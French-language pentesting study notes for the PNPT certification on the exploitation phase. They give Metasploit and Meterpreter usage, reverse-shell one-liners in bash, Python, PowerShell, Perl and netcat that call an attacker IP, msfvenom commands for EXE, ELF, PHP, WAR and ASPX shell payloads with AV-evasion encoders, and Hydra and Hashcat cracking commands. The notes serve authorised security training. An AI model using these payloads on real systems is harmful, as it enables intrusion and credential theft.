Exploitation (PNPT)
L’exploitation, c’est le moment où on transforme une vulnérabilité identifiée en exécution de code sur la cible. Mais c’est aussi l’étape la plus surévaluée par les débutants : 80% du travail réel est dans la recon et la post-exploitation. Une bonne exploitation est une exploitation préparée — bon payload, bon listener prêt, sortie attendue connue.
Le cycle de l’exploitation§
Vulnérabilité identifiée
│
▼
┌─────────────────────┐
│ Préparer le payload │ ← matcher arch (x86/x64), OS, AV présent
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ Préparer le listener│ ← netcat / multi-handler AVANT de tirer
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ Délivrer le payload │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ Stabiliser le shell │ ← upgrade TTY, source profile
└──────────┬──────────┘
│
▼
Post-exploitation
Erreur classique : tirer l’exploit avant d’avoir lancé le listener → shell perdu. Toujours nc -lvnp 4444 avant exploit.
Metasploit§
Le framework offensif le plus utilisé. Pas de honte à l’utiliser sur un engagement — la honte c’est de ne pas comprendre ce qu’il fait derrière.
msfconsole
search exploit_name # ex. search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
show options # lister les paramètres
set RHOSTS 192.168.1.10 # cible
set LHOST 192.168.1.100 # listener attaquant
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit # ou "run"
Anatomie d'un module Metasploit
exploit/windows/smb/ms17_010_eternalblue
│ │ │ │
│ │ │ nom du module (CVE/identifiant)
│ │ service ciblé
│ OS/plateforme
type (exploit, auxiliary, post, payload)
Meterpreter — le payload couteau-suisse§
Une fois Meterpreter ouvert, on a un shell enrichi : transfert de fichiers, pivot, dump de hashes, migration de processus.
sysinfo # OS, arch, domaine
getuid # qui je suis
getsystem # tenter privesc (4 techniques auto)
hashdump # dump SAM (nécessite SYSTEM)
upload localfile C:\Temp\f # uploader
download C:\loot # télécharger
shell # shell natif (cmd ou bash)
migrate <PID> # changer de processus hôte
ps # lister processus (pour migrate)
Pourquoi migrate : le processus initial où Meterpreter est lancé peut crasher ou être tué. Migrer vers explorer.exe ou un service stable = persistance de session.
Reverse shells§
Le payload classique : la cible se connecte à l’attaquant (contourne les firewalls entrants).
Listeners§
# Netcat (simple)
nc -lvnp 4444
# Avec rlwrap pour avoir l'historique et l'édition de ligne
rlwrap nc -lvnp 4444
# Metasploit multi-handler (pour récupérer une session msfvenom)
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
run
Payloads one-liner§
À garder en favoris, classés par interpréteur disponible.
# Bash (Linux)
bash -i >& /dev/tcp/IP/4444 0>&1
# Python (Linux/macOS)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# PowerShell (Windows) — le grand classique
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
# Perl
perl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# nc (souvent absent ou sans -e)
mkfifo /tmp/p; cat /tmp/p | /bin/sh -i 2>&1 | nc IP 4444 > /tmp/p
Site indispensable : revshells.com — générateur web qui produit toutes les variantes avec ton IP/port.
msfvenom — générer des payloads§
Pour les cas où on doit déposer un binaire (upload de fichier sur webapp, RCE qui exécute un fichier…).
# Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
# Windows Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o m.exe
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
# PHP (pour upload sur webapp)
msfvenom -p php/reverse_php LHOST=IP LPORT=4444 -o shell.php
# WAR (Tomcat manager)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war -o shell.war
# ASPX (IIS)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f aspx -o shell.aspx
Encoders (-e x86/shikata_ga_nai -i 5) : codent le payload pour échapper aux AV signature-based. Inefficaces contre les EDR modernes — voir [[AV-EDR Evasion]].
Stabiliser un shell§
Un reverse shell brut est inutilisable : pas d’autocomplétion, pas de signaux (Ctrl+C tue le shell entier), pas d’éditeur interactif. Upgrade obligatoire.
# Étape 1 : PTY via Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Étape 2 : Ctrl+Z pour mettre en arrière-plan
# Étape 3 : sur ta machine, passer le terminal en raw
stty raw -echo; fg
# Étape 4 : exporter les variables nécessaires
export TERM=xterm
export SHELL=/bin/bash
stty rows 50 columns 200 # adapter à ta taille de fenêtre
Après ça : autocomplétion, Ctrl+C, vim, ssh tunnels — tout fonctionne.
Brute force§
Quand on a une cible mais pas de creds, et que l’auth est exposée sans rate-limit dur.
# Hydra — web form
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# Hydra — SSH
hydra -l user -P wordlist ssh://IP
# Hydra — FTP
hydra -L users.txt -P passwords.txt ftp://IP
# Hashcat — formats courants
hashcat -m 0 hash.txt rockyou.txt # MD5
hashcat -m 100 hash.txt rockyou.txt # SHA1
hashcat -m 1000 hash.txt rockyou.txt # NTLM
hashcat -m 1800 hash.txt rockyou.txt # $6$ (sha512crypt — /etc/shadow)
hashcat -m 13100 hash.txt rockyou.txt # Kerberoasting (TGS-REP)
hashcat -m 18200 hash.txt rockyou.txt # AS-REP Roasting
hashcat -m 5600 hash.txt rockyou.txt # NetNTLMv2 (Responder)
# John
john --wordlist=rockyou.txt hash.txt
john --format=NT --wordlist=rockyou.txt hash.txt
Pièges courants§
- Lancer l’exploit avant le listener : shell connecté à rien, on n’attrape rien. Toujours listener d’abord.
- Mauvaise architecture de payload :
windows/shell_reverse_tcp(x86) sur un Windows x64 peut marcher mais migrate peut échouer. Privilégierx64quand on sait. - LHOST mal défini : si tu es derrière un VPN/HTB,
LHOSTdoit être ton IP VPN (tun0), pas ton IP locale. Vérifier avecip a. - Antivirus détecte msfvenom brut : signatures connues depuis des années. Encoder ne suffit pas, il faut vrais bypass (voir
15-av-evasion). - Le shell stabilisé peut planter : si la connexion meurt pendant
stty raw -echo, ton terminal local devient inutilisable. Réinitialiser avecresetoustty sane. getsystemMeterpreter échoue souvent : les techniques sont anciennes. Préférer une vraie privesc (PrintSpoofer, GodPotato selon l’OS et les privilèges).